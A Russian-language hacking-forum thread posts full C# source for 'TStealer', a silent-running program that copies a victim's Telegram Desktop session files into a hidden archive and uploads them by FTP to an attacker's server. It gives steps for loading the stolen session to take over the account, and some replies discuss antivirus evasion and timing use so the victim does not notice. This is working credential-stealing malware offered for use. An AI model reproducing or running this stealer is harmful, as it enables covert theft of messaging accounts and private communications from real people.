Воруем Windows сессию Telegram

Кудрявый

Green Team
06.03.2017
14
19
BIT
0
Здравствуйте всем!

Думаю многим этот способ уже известный, но через поиск на форуме я ничего так и не нашел.
И по этому решил написать свою первую тему на этом форуме.

Для того что бы своровать сессию Телеграма нам достаточно заполучить 2-а файлика из директории ...\Telegram Desktop\tdata:
  • D877F783D5D3EF8C0 (последняя цифра может быть другой)
  • D877F783D5D3EF8C\map0 (последняя цифра так же может быть другой)
Для примера я написал простенькую консольную програмку на C#:
Код:
using System;
using System.IO;
using System.Diagnostics;
using System.IO.Compression;
using System.Net;
using System.Threading;

namespace TStealer
{
    class Program
    {
        private class StealStart
        {
            private bool in_folder = false;


            public StealStart(string host = "", string login = "", string pass = "", bool del_zip = false)
            {
                new Thread(() => StealIt(host, login, pass, del_zip)).Start();
            }


            private void StealIt(string host, string login, string pass, bool del_zip)
            {
                var prcName = "Telegram";
                Process[] processByName = Process.GetProcessesByName(prcName);

                if (processByName.Length < 1)
                    return;

                var dir_from = Path.GetDirectoryName(processByName[0].MainModule.FileName) + "\\Tdata";
                var this_fileLocation = System.Reflection.Assembly.GetEntryAssembly().Location;
                var dir_to = Path.GetDirectoryName(this_fileLocation) +
                            "\\Tdata_" +
                            (int)(DateTime.UtcNow - new DateTime(1970, 1, 1)).TotalSeconds
                            ;
                var zipPath = dir_to + ".zip";


                CopyAll(dir_from, dir_to);
                ZipDir(dir_to, zipPath);
                Directory.Delete(dir_to, true);

                if (host == "")
                    return;
     
                LoadOnFtp(zipPath, host, login, pass);

                if(del_zip)
                    File.Delete(zipPath);
            }


            private void CopyAll(string fromDir, string toDir)
            {
                DirectoryInfo di = Directory.CreateDirectory(toDir);

                di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;

                foreach (string s1 in Directory.GetFiles(fromDir))
                    CopyFile(s1, toDir);

                foreach (string s in Directory.GetDirectories(fromDir))
                    CopyDir(s, toDir);
            }


            private void CopyFile(string s1, string toDir)
            {
                try
                {
                    var fname = Path.GetFileName(s1);

                    if (in_folder && !(fname[0] == 'm' || fname[1] == 'a' || fname[2] == 'p'))
                        return;

                    var s2 = toDir + "\\" + fname;

                    File.Copy(s1, s2);
                }
                catch { }
            }


            private void CopyDir(string s, string toDir)
            {
                try
                {
                    in_folder = true;
                    CopyAll(s, toDir + "\\" + Path.GetFileName(s));
                    in_folder = false;
                }
                catch { }
            }


            private void ZipDir(string dir_to, string zipPath)
            {
                try
                {
                    ZipFile.CreateFromDirectory(dir_to, zipPath);
                    File.SetAttributes(zipPath, File.GetAttributes(zipPath) | FileAttributes.Hidden);
                }
                catch { }
            }


            private void LoadOnFtp(string zipPath, string host, string login, string pass)
            {
                try
                {
                    using (WebClient client = new WebClient())
                    {
                        client.Credentials = new NetworkCredential(login, pass);

                        client.UploadFile("ftp://" + host + "/" + Path.GetFileName(zipPath), "STOR", zipPath);
                    }
                }
                catch { }
            }
        }


        static void Main(string[] args)
        {
            //var stealT = new StealStart();

            var host    =   "example.host.com";
            var login   =   "example_login";
            var pass    =   "example_pass";

            var steal_With_FTP = new StealStart(host, login, pass, false);
        }
    }
}

Добавить ссылку на System.IO.Compression.FileSystem (Проект --> Добавить ссылку)
Делаем тихий запуск (Проект --> Свойства --> Тип выходных данных --> Приложение Windows)
upload_2017-12-17_21-57-24.png


Думаю код написан как самокомментируемый. Ну суть вкратце напишу.
Мы ищем процесс затем берем её директорию для дальнейшего копирования настроек и сессии. Затем мы создаем ZIP архив и отправляем по FTP.

Использовав конструктор без параметров (new StealStart();), то мы просто копируем настройки сессию в ZIP.
new StealStart(host, login, pass, false); - хост, логин, пасс от ФТП и бул который отвечает удалить ли ZIP после закачки на FTP.

После запуска, рядом с exe будет скрытая zip-ка (или на ftp).
upload_2017-12-17_22-0-11.png


Создаем новую дерикторию и копируем туда свой Telegram.exe и дерикторию tdata удалив всё содержимое. С архива перетаскум туда D877F783D5D3EF8C0 и дерикторию D877F783D5D3EF8C.
В итоге должно выйти так:
upload_2017-12-17_22-4-18.png

В tdata:
upload_2017-12-17_22-4-43.png

В D877F783D5D3EF8C:
upload_2017-12-17_22-5-27.png


Дальше запускаем телеграм.ехе, и он сам всё докачает.

Как-то так мы получили сессию от телеги. Всем удачи!
upload_2017-12-17_22-46-30.png
 

Вложения

  • TStealer.zip
    128,9 КБ · Просмотры: 1 177
Последнее редактирование:
X

XenoAura

Получается телега не делает никакой привязки к HWID?
 

Кудрявый

Green Team
06.03.2017
14
19
BIT
0
Смотрел кто по палевности?
Палевности? От чего, если от АВ - тишина.
А так одновременно 2-е сессии нормально не работают. У жертвы могут быть типа "траблы с интернетом" из-за чего сообщения не приходят. Из-за чего могут возникнуть подозрения у жертвы.
То есть лучше использовать, когда жертва оффлайн, или сидит не с Виндовс сессии.
 
  • Нравится
Реакции: remez

w3n0m41k

Green Team
30.10.2016
68
46
BIT
0
Получается телега не делает никакой привязки к HWID?
телега вообще странная вещь у меня к примеру Desktop версия работает уже полтора года на номере которого у меня нет уже полтора года и проверок как вайбер (требует подтверждения если с телефона удалил примерно через неделю + - пару дней) не требует
 
G

gravitywaves

[doublepost=1513614249,1513614171][/doublepost]
телега вообще странная вещь у меня к примеру Desktop версия работает уже полтора года на номере которого у меня нет уже полтора года и проверок как вайбер (требует подтверждения если с телефона удалил примерно через неделю + - пару дней) не требует
Ну это я считаю не странность, а большой плюс, зачем требовать смс если есть уже другие верифицированые пользователем сессии и код для двухфакторки лучше послать на них, а не смской.Я так например зарегал свою телегу на левую симку котору потом зачем то сжёг (четсно хз зачем) а закрепился в телеге сессией в эмуляторе на бесплатном годовом амазоне
 
A

Aansda

блин, я такой тупой, либо не понятно что делать, с чего начинать по данному гайду (
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!